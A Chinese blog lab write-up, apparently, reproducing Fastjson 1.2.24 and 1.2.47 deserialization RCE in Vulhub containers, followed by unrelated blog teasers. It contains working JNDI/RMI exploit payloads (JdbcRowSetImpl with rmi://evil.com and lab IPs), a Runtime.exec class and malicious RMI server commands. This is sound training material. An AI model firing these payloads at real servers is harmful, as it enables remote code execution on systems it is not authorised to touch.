当前位置：首页 > news >正文

Vulhub：Fastjson[漏洞复现]

news 来源：原创 2025/6/23 14:49:53

1.2.24-rce(CVE-2017-18349-Fastjson反序列化)

对于 Fastjson 来说，该漏洞的主要问题在于其1.2.24版本中autotype特性允许任意类的反序列化，因此攻击者通过@type指定自定义类并实例化，在特定条件下调用这些类的公共方法。如果一个不受信任的 JSON 输入包含了一个指向恶意类的引用，那么当 Fastjson 尝试将其反序列化时，就可能会触发该类的方法，进而导致任意代码执行。

启动靶场漏洞环境

docker-compose up -d

查看靶机IP地址

ifconfig | grep eth0 -A 5

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
        ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
        RX packets 12672 bytes 16229000 (15.4 MiB)
        RX errors 0 dropped 0 overruns 0 frame 0

阅读vulhub给出的漏洞文档

# fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

参考资料：

- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

## 漏洞环境

运行测试环境：

```
docker compose up -d
```

环境运行后，访问`http://your-ip:8090`即可看到JSON格式的输出。

我们向这个地址POST一个JSON对象，即可更新服务端的信息：

```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```

## 漏洞复现

因为目标环境是Java 8u102，没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制，我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链，借助JNDI注入来执行命令。

首先编译并上传命令执行代码，如`http://evil.com/TouchFile.class`：

```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
```

然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目，启动一个RMI服务器，监听9999端口，并制定加载远程类`TouchFile.class`：

```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```

向靶场服务器发送Payload，带上RMI的地址：

```
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}
```

可见，命令`touch /tmp/success`已成功执行：

![](1.png)

使用curl访问靶机8090端口

curl -v http://192.168.1.138:8090

*   Trying 192.168.1.138:8090...
* Connected to 192.168.1.138 (192.168.1.138) port 8090
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.138:8090
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200
< Content-Type: application/json;charset=UTF-8
< Content-Length: 28
< Date: Fri, 13 Dec 2024 00:57:02 GMT
<
{
        "age":25,
        "name":"Bob"
* Connection #0 to host 192.168.1.138 left intact
}

我注意到响应体中的Content-Type字段值为：application/json，这意味着该接口很可能使用Fastjson

使用Yakit对请求包修改为POST请求，并尝试构造报错信息

POST / HTTP/1.1

Host: 192.168.1.138:8090

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

{

"@type":"666"

}

发包后获得一个SpringBoot标准的默认错误页响应

HTTP/1.1 500

Content-Type: text/html; charset=ISO-8859-1

Content-Language: zh-CN

Date: Sat, 14 Dec 2024 13:07:34 GMT

Connection: close

Content-Length: 375

<html>

<body>

<h1>Whitelabel Error Page</h1>

<p>

This application has no explicit mapping for /error, so you are seeing

this as a fallback.

</p>

<div id="created">Sat Dec 14 13:07:34 UTC 2024</div>

<div>

There was an unexpected error (type=Internal Server Error, status=500).

</div>

<div>type not match</div>

</body>

</html>

我观察到响应末尾的：type not match，这个字段表明在解析过程中发生了类型不匹配的问题同样符合Fastjson反序列化的报错特征

使用JNDI-Injection-Exploit创建恶意RMI服务器

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138

通过Yakit构造恶意请求包

POST / HTTP/1.1

Host: 192.168.1.138:8090

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.1.138:1099/8rnqew",

"autoCommit":true

}

}

发包后获得请求（这里并未指定Content-Type为application/json也成功了，实际应该完整）

来到靶机/tmp目录下，在发包后可见0dayhp文件被成功创建

root@c29187891d41:/tmp# ls
hsperfdata_root tomcat-docbase.2749767184487313544.8090 tomcat.9149452117067477529.8090
root@c29187891d41:/tmp# ls
0dayhp hsperfdata_root tomcat-docbase.2749767184487313544.8090 tomcat.9149452117067477529.8090

1.2.47-rce(CNVD-2019-22238-Fastjson反序列化)

阅读vulhub给出的漏洞文档

# Fastjson 1.2.47 远程命令执行漏洞

Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。

参考链接：

- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
- https://www.freebuf.com/vuls/208339.html

## 漏洞环境

执行如下命令启动一个spring web项目，其中使用fastjson作为默认json解析器：

```shell
docker compose up -d
```

环境启动后，访问`http://your-ip:8090`即可看到一个json对象被返回，我们将content-type修改为`application/json`后可向其POST新的JSON对象，后端会利用fastjson进行解析。

## 漏洞复现

目标环境是`openjdk:8u102`，这个版本没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制，我们可以简单利用RMI进行命令执行。

首先编译并上传命令执行代码，如`http://evil.com/TouchFile.class`：

```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
```

然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目，启动一个RMI服务器，监听9999端口，并制定加载远程类`TouchFile.class`：

```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```

向靶场服务器发送Payload：

```
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}
```

![](1.png)

可见，命令`touch /tmp/success`已成功执行：

![](2.png)

更多利用方法请参考JNDI注入相关知识。

该漏洞与Fastjson-1.2.24版本反序列化漏洞原理无异，区别在发送的序列化数据需要构造绕过

使用JNDI-Injection-Exploit再次创建恶意RMI服务器

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138

通过Yakit构造恶意的请求包

POST / HTTP/1.1

Host: 192.168.1.138:8090

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.1.138:1099/az89vh",

"autoCommit":true

}

}

进入到靶机/tmp目录下，发包后可见0dayhp文件被成功创建

root@6b701907f00f:/tmp# ls
hsperfdata_root tomcat-docbase.2146047957427665967.8090 tomcat.5574260448438146200.8090
root@6b701907f00f:/tmp# ls
0dayhp hsperfdata_root tomcat-docbase.2146047957427665967.8090 tomcat.5574260448438146200.8090

Vulhub：Fastjson[漏洞复现]

1.2.24-rce(CVE-2017-18349-Fastjson反序列化) 对于 Fastjson 来说，该漏洞的主要问题在于其1.2.24版本中autotype特性允许任意类的反序列化，因此攻击者通过type指定自定义类并实例化，在特定条件下调用这些类的公共方法。如果一个不受信任的 J…...

编程日记 2025/6/23 14:49:53

C++学习日记---第19天

笔记复习 1.继承在C中，我们通过函数来实现代码的复用，防止重复造轮子，但是使用函数也有一个缺点1，就是当函数被定义完成之后，它的功能也就确定了，无法被修改，这时候我们引入继承。 C中的继承…...

编程日记 2025/6/23 13:38:52

题目1.读取一张彩色图像并将其转换为灰度图。 import cv2 # 读取图片文件 img cv2.imread(./1.png)# 将原图灰度化 img_gray cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)# 输出图片 cv2.imshow(img,img) cv2.imshow(img_g,img_gray) # 进行阻塞 cv2.waitKey(0) 题目2：…...

编程日记 2025/6/23 13:36:18

生活小妙招之UE CaptureRT改

需求，四个不同的相机拍摄结果同屏分屏显示一般的想法是四个Capture拍四张RT，然后最后在面片/UI上组合。这样的开销是创建4张RT，材质中采样4次RT。以更省的角度，想要对以上流程做优化，4个相机拍摄是必须的&#xff…...

编程日记 2025/6/4 1:52:50

源码编译jdk11 超详细教程 openjdk11

关于源代码当前的openJDK的源代码已经被发布到了github上了，所以我们可以直接从github上下载到。 OpenJDK11u源码托管地址：https://github.com/openjdk/jdk11u 带后缀U的地址，或者发行的jdk包，表示当前版本下的持续跟新版。而…...

编程日记 2025/6/2 10:59:52

lightRAG 论文阅读笔记

论文原文 https://arxiv.org/pdf/2410.05779v1 这里我先说一下自己的感受，这篇论文整体看下来，没有太多惊艳的地方。核心就是利用知识图谱，通过模型对文档抽取实体和关系。然后基于此来构建查询。核心问题还是在解决知识之间的连接问题。论…...

编程日记 2025/6/23 13:37:39

计算机网络-数据链路层

以太⽹的帧格式源地址和⽬的地址是指⽹卡的硬件地址(也叫MAC地址), ⻓度是48位,是在⽹卡出⼚时固化的; • IP地址描述的是路途总体的起点和终点; • MAC地址描述的是路途上的每⼀个区间的起点和终点;、举个例子： 帧协议类型字段有三种值,分别对应IP、ARP、RARP...

编程日记 2025/6/23 13:40:03

ES6 混合 ES5学习记录

基础数组 let arr [数据1，数据2，...数组n] 使用数组数组名[索引] 数组长度 arr.length 操作数组 arr.push() 尾部添加一个,返回新长度 arr.unshift() 头部添加一个,返回新长度 arr.pop() 删除最后一个,并返回该元素的值 shift 删除第一个单元…...

编程日记 2025/6/23 14:06:57

Electron electron-builder.yml 配置 (自定义包名，用户自定义安装目录...)

electron-builder.yml 配置 # 唯一的应用程序标识符，用于操作系统级别的识别 appId: com.electron.app# 应用程序的名称，显示在用户界面上 productName: 我的应用# 定义构建资源目录，放置图标、证书等资源文件 directories:buildResources: …...

编程日记 2025/6/4 8:23:31

Python运维自动化之字典Dict

字典Dict(哈希表) Dict即Dictionary，也称为mapping。 Python中，字典由任意个元素构成的集合，每一个元素称为Item，也称为Entry。这个Item是由(key, value)组成的二元组。字典是可变的、无序的、key不重复的key-value键值对集合。…...

编程日记 2025/6/23 14:03:14

开展新闻营销分为策划期、实施期、优化期三个重要阶段

也许有人会问：什么是新闻营销呢？这是一个在当今商业营销领域备受关注的概念。在信息爆炸的时代，企业都在绞尽脑汁寻找各种有效的营销方式来提升自己的品牌知名度、产品销量等，新闻营销便是其中一种重要的手段。我们可以将“新闻营…...

编程日记 2025/6/23 7:06:23

解决 Git 默认不区分文件名大小写的问题

不得不说 Git 默认不区分文件名大小写真是一个大坑，由于之前的项目目录比较乱，项目下的文件夹命名都不规范，这两天一直在整理，然后今天从服务器将项目重新 clone 下来后发现，之前将所有文件名首字母改成大写的改动全部…...

编程日记 2025/6/23 14:43:42

Qt网络通信、线程之间通信详解

一、网络通信协议主要包括TCP和UDP，但更常用和可靠的是TCP协议。TCP是一种面向连接的、可靠的、面向流的传输协议，特别适合用于连续数据传输。在Qt中，网络通信主要通过QTcpSocket类和QTcpServer类来实现。 QTcpSocket类用于建立TCP客户端和…...

编程日记 2025/6/23 13:53:54

java泛型

定义类、接口、方法时，同时声明了一个或者多个类型变量（如：<E>） 称为泛型类、泛型接口，泛型方法、它们统称为泛型。作用：泛型提供了在编译阶段约束所能操作的数据类型，并自动进行检…...

编程日记 2025/6/23 13:47:47

C++入门（1）

一、第一个C程序 #include <iostream> using namespace std; int main() {cout << "hello world" << endl; return 0; } 1. main函数 main 函数是程序的入口，C 的程序不管有多少行代码，都是从 main 函数开始执行的&am…...

编程日记 2025/6/20 9:21:16

在Linux的嵌入式开发中,如何确定要操作的帧缓冲设备是第几个实例?即是fb0还是fb1还是fb2...

方法汇总在实际编写程序时，要确定操作的帧缓冲设备（如 /dev/fb0、/dev/fb1 等），通常需要结合系统环境和硬件配置。以下是一些常见的方法，帮助你确定需要打开的帧缓冲设备实例： 1. 检查系统设备文件查看…...

编程日记 2025/6/23 13:35:02

JS 中请求队列与锁的巧妙结合

一、引言在 JavaScript 开发中，尤其是在涉及到异步操作和对共享资源的并发访问时，有效地控制请求顺序和资源访问权限至关重要。例如，在多个网络请求同时针对一个有限制访问频率的 API 或者多个异步任务竞争同一个文件写入权限的场景下&#…...

编程日记 2025/6/23 9:38:36

注意力机制+时空特征融合！组合模型集成学习预测！LSTM-Attention-Adaboost多变量时序预测

注意力机制时空特征融合！组合模型集成学习预测！LSTM-Attention-Adaboost多变量时序预测目录注意力机制时空特征融合！组合模型集成学习预测！LSTM-Attention-Adaboost多变量时序预测效果一览基本介绍程序设计参考资料效果一览基…...

编程日记 2025/6/1 10:46:32

Prefix Decoder /Causal Decoder/Encoder-Decoder的区别

Prefix Decoder 定义：Prefix Decoder，也称为非因果解码器，属于Decoder only结构。输入部分使用双向注意力，输出部分使用单向注意力。在生成新的输出时，会考虑到所有之前生成的输出。特点：Prefix Decoder在…...

编程日记 2025/6/23 14:23:13

《智能体开发实战（高阶）》四、系统化的日志周报智能体开发计划

智能体扩展与完善规划为了将前几个章节的智能体逐步扩展为支持整个公司团队使用的高效工具，以下是分阶段的完善与扩写规划。每个阶段旨在提升功能覆盖范围、处理能力和用户体验，并为企业提供实际价值。阶段一：基础功能完善目标：巩固现有功能，提升健壮性和适用性。支…...

编程日记 2025/6/2 11:16:43

多线程编程杂谈(上)

问题线程执行的过程中可以强制退出吗？ 主动退出？被动退出？ 问题抽象示例需要解决的问题 g_run 全局变量需要保护吗？ 如何编码使得线程中每行代码的执行可被 g_run 控制？ 线程代码在被 g_run 控制并 "强制退…...

编程日记 2025/6/2 16:11:16

二五(Vue2-01)、创建实例、插值表达式、响应式、Vue指令、

1. Vue 概念及创建实例 <body><div id"app"><h1>{{msg}}</h1><a href&…...

编程日记 2025/6/23 14:49:53

P8772 求和 P8716 回文日期

文章目录 [蓝桥杯 2022 省 A] 求和[蓝桥杯 2020 省 AB2] 回文日期 [蓝桥杯 2022 省 A] 求和题目描述给定 n n n 个整数 a 1 , a 2 , ⋯ , a n a_{1}, a_{2}, \cdots, a_{n} a1,a2,⋯,an, 求它们两两相乘再相加的和，即 S a 1 ⋅ a 2 a 1 ⋅ a 3 ⋯ a…...

编程日记 2025/6/4 14:43:21

Burp Suite(2)2024.1.1Burp Suite专业版激活（保姆级教程）

声明： 本文所使用的专业版BP在我的博客资源里面，需要的师傅可以自行下载。学习视频来自B站up主泷羽sec 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内…...

编程日记 2025/6/20 10:24:49

基于注意力的几何感知的深度学习对接模型 GAABind - 评测

GAABind 作者是苏州大学的生物基础与医学院，期刊是 Briefings in Bioinformatics, 2024， 25(1)， 1–14。GAABind 是一个基于注意力的几何感知蛋白-小分子结合模式与亲和力预测模型，可以捕捉小分子和蛋白的几何、拓扑结构特征以及相互作用。使用 PDBBind2020 和 CASF2016 作…...

编程日记 2025/6/20 15:46:53

Python中的优化函数2：cvxpy包

文章目录介绍使用步骤示例1示例2官方文档介绍它是一个基于 Python 的凸优化建模工具，专门用于定义和求解凸优化问题（Convex Optimization Problems）。CVXPY 提供了一种直观的方式来表达优化问题，并通过高效的求解器来解决这些…...

编程日记 2025/6/22 7:02:27

【Linux】结构化命令

结构化命令structured command：允许脚本根据条件跳过部分命令，改变执行流程。 1、if-then语句格式1： if command then commands fi 格式2： if command; then commands fi 运行if之后的command命令，如果它的退出状态码…...

编程日记 2025/6/20 5:31:25

3-机器人视觉-机器人抓取与操作

文章目录 3机器人视觉目录 1. 传感器和标定摄像头模型Intrinsic MatrixExtrinsic Matrix 标定内参标定手眼标定和外参标定力传感器&其它传感器其它传感器 2. 神经网络和图像处理2D特征处理常见架构训练流程推理流程部署流程2D 图像任务3D Point Cloud FeaturePointNet Ap…...

编程日记 2025/5/29 13:53:02

LINUX——shell编程

Shell 简介 Shell 是一个 C 语言编写的脚本语言，它是用户与 Linux 的桥梁，用户输入命令交给 Shell 处理， Shell 将相应的操作传递给内核（Kernel），内核把处理的结果输出给用户。下面是流程示意图&#xff…...

编程日记 2025/5/29 12:01:34

12.11函数结构体多文件编译

1.脑图定义一个数组，用来存放从终端输入的5个学生的信息【学生的信息包含学生的姓名、年纪、性别、成绩】 1>封装函数录入5个学生信息 2>封装函数显示学生信息 3>封装函数删除第几个学生信息，删除后调用显示学生信息函数显示 4> 封…...

编程日记 2025/6/4 4:10:25

【go语言】reflect包与类型推断

reflect 包的核心概念 Go 中的反射涉及两个核心概念： Type：表示一个类型的结构体，reflect.Type 是类型的描述。Value：表示一个值的结构体，reflect.Value 是一个具体值的包装。反射让我们能够动态地访问对象的类型和…...

编程日记 2025/5/28 6:00:12

docker启动一个helloworld（公司内网服务器）

这里写目录标题容易遇到的问题：1、docker连接问题我来介绍几种启动 Docker Hello World 的方法： 最简单的方式： docker run hello-world这会自动下载并运行官方的 hello-world 镜像。使用 Nginx 作为 Hello World： docker…...

编程日记 2025/6/22 10:07:28

【瑞萨RA0E1开发板评测报告】IIC OLED 测试

【瑞萨RA0E1开发板评测报告】IIC OLED 测试基于前面关于瑞萨 e studio 开发软件的使用，以及工程测试基础，本文进一步探索实现硬件 IIC OLED 的文字和图片显示。 1 背景简单介绍 IIC 通信协议、OLED 显示原理、SS1306 驱动 IC 等。 IIC 通信协议 I…...

编程日记 2025/6/21 7:01:00

全球叉车市场 2023 - 2032 年发展趋势：自动化、电商与电动叉车的崛起

全球叉车市场到2032年将达到955.1亿美元，年复合增长率为7.49% | Astute Analytica 全球叉车市场正迎来显著增长，市场估值预计将从2023年的498.6亿美元增长至2032年的955.1亿美元，预测期内年复合增长率（CAGR）为7.49%。这…...

编程日记 2025/6/22 19:35:21

Kafka系列教程 - Kafka 生产者 -2

1. 生产者简介不管是把 Kafka 作为消息队列系统、还是数据存储平台，总是需要一个可以向 Kafka 写入数据的生产者和一个可以从 Kafka 读取数据的消费者，或者是一个兼具两种角色的应用程序。使用 Kafka 的场景很多，诉求也各有不同&#xff…...

编程日记 2025/5/29 23:19:43

【专题】2024年中国新能源汽车用车研究报告汇总PDF洞察（附原数据表）

原文链接： https://tecdat.cn/?p38564 本年度，国家及地方政府持续发力，推出诸多政策组合拳，全力推动汽车产业向更高质量转型升级，积极鼓励消费升级，并大力推行以旧换新等惠民生、促发展举措。尤为引人注目…...

编程日记 2025/6/2 10:32:12

将带注释的Word文档改造成点击注释引用即可弹窗显示注释的HTML文档

阅读中国古籍电子书的时候，往往有很多注释。在正文和注释之间来回滚动页面是一件挺麻烦的事，比较方便的做法是将它编辑成通过点击注释引用即将注释弹出显示在引用所在位置的HTML文档，然后利用HTML文档制作成PDF或者epub文件，就比较…...

编程日记 2025/6/21 20:37:14

【Android开发】安装Android Studio（2023.1.1）

下载安装包 Android Studio2023.1.1百度云盘下载，提取码：6666https://pan.baidu.com/s/1vNJezi7aDOP0poPADcBZZg?pwd6666 安装Android Studio 2023.1.1 双击下载好的安装包弹出界面点击下一步继续点击【Next】更改安装路径后继续点击【Next】点…...

编程日记 2025/6/19 21:37:19

SQLite Truncate Table

SQLite Truncate Table SQLite 是一种轻量级的数据库管理系统，广泛用于各种应用程序中。在数据库管理中，有时候需要快速删除表中的所有数据，这时就可以使用 TRUNCATE TABLE 命令。然而，SQLite 与其他数据库管理系统（如…...

编程日记 2025/6/21 19:34:17

港科夜闻 | 香港科大与荷兰代尔夫特理工大学(TU Delft)建立合作伙伴关系,推动艺术科技教育与研究...

关注并星标每周阅读港科夜闻建立新视野开启新思维 1、香港科大与荷兰代尔夫特理工大学(TU Delft)建立合作伙伴关系，推动艺术科技教育与研究。2024年12月6日，合作伙伴计划正式启动，双方期望透过合作加强艺术科技知识交流，借此推…...

编程日记 2025/6/20 23:46:18

谈一谈大数据流式处理，以Spark Streaming为例详细论述

Spark Streaming是构建在Spark上的实时流计算框架，可以进行实时流数据处理。Spark是一个类似于MapReduce的分布式计算框架，其核心是弹性分布式数据集，可以在快速在内存中对数据集进行多次迭代，以支持复杂的数据挖掘算法和图形计算…...

编程日记 2025/6/3 17:48:13

RabbitMQ实现消息发送接收——实战篇(路由模式)

本篇博文将带领大家一起学习rabbitMQ如何进行消息发送接收，我也是在写项目的时候边学边写，有不足的地方希望在评论区留下你的建议，我们一起讨论学习呀~ 需求背景先说一下我的项目需求背景，社区之间可以进行物资借用&#xff0c…...

编程日记 2025/5/29 9:27:43

Docker Desktop占用空间问题解决

Windows安装Docker Desktop，没过多久就会发现C盘空间满了，很大可能是Docker Desktop的文件占用了空间，可以通过以下步骤解决： 步骤一：执行清理命令 docker system prune清理磁盘，删除关闭的容器、无用的数…...

编程日记 2025/6/20 20:26:42

系统性能优化

一、概述性能优化的目标：是提高系统或应用程序的响应时间、吞吐量、cpu、内存、磁盘IO、网络、流量、JVM、Tomcat、DB等方面的性能指标。性能优化需要有一些技巧：对于整个产品或项目而言，比如可以从前端优化、后端优化、架构优化、高并发…...

编程日记 2025/6/20 1:54:34

golang操作sqlite3加速本地结构化数据查询

目录摘要Sqlite3SQLite 命令SQLite 语法SQLite 数据类型列亲和类型——优先选择机制 SQLite 创建数据库SQLite 附加数据库SQLite 分离数据库 SQLite 创建表SQLite 删除表 SQLite Insert 语句SQLite Select 语句SQLite 运算符SQLite 算术运算符SQLite 比较运算符SQLite 逻辑运算…...

编程日记 2025/6/19 21:06:30

【NebulaGraph】mac通过Docker安装以及官方查询示例、以及索引详解还有数据构建案例(五)

【NebulaGraph】mac通过Docker安装以及官方查询示例 1. Docker安装NebulaGraph2. 官方查询示例3. Nebula Graph 的 Java 数据解析实践与指导4. 从零到一：如何构建一个企业股权图谱系统？5. Nebula Graph 索引详解6. nGQL 执行计划详解与调优7. 图数据库的…...

编程日记 2025/6/21 7:33:02

【一本通】家庭作业（贪心算法）

【一本通】家庭作业 C语言代码 💐The Begin💐点点关注，收藏不迷路💐 老师在开学第一天就把所有作业都布置了，每个作业如果在规定的时间内交上来的话才有学分。每个作业的截止日期和学分可能是不同的。例如如果一个作业…...

编程日记 2025/5/31 0:22:56

Kylin麒麟操作系统 | 网络链路聚合配置（team和bond）

目录一、理论储备1. 链路聚合二、任务实施1. team模式2. bond模式一、理论储备 1. 链路聚合链路聚合是指将多个物理端口捆绑在一起，形成一个逻辑端口，以实现出/入流量在各成员端口中的负载分担。链路聚合在增加链路带宽、实现链路传输弹性和冗余等…...

编程日记 2025/6/19 22:41:24

2024年软件测试面试题大全【含答案】

一、面试基础题简述测试流程: 1、阅读相关技术文档（如产品PRD、UI设计、产品流程图等）。 2、参加需求评审会议。 3、根据最终确定的需求文档编写测试计划。 4、编写测试用例（等价类划分法、边界值分析法等）。 5、用例评审(…...

编程日记 2025/5/31 20:48:26

Stable Diffusion 提示词语法

1.提示词基础 1.提示词之间用英文逗号,分隔 2.提示词之间是可以换行的 3.权重默认为1,越靠前权重越高 4.数量控制在75个单位以内 2.提示词各种符号的意义 2.1 ()、[]、{}符号权重值()小括号[]中括号{}大括号默认1111层()1.1[]0.9{}1.052层(()) 1.121.21[[]]0.920.81{{}}1.…...

编程日记 2025/6/2 1:40:50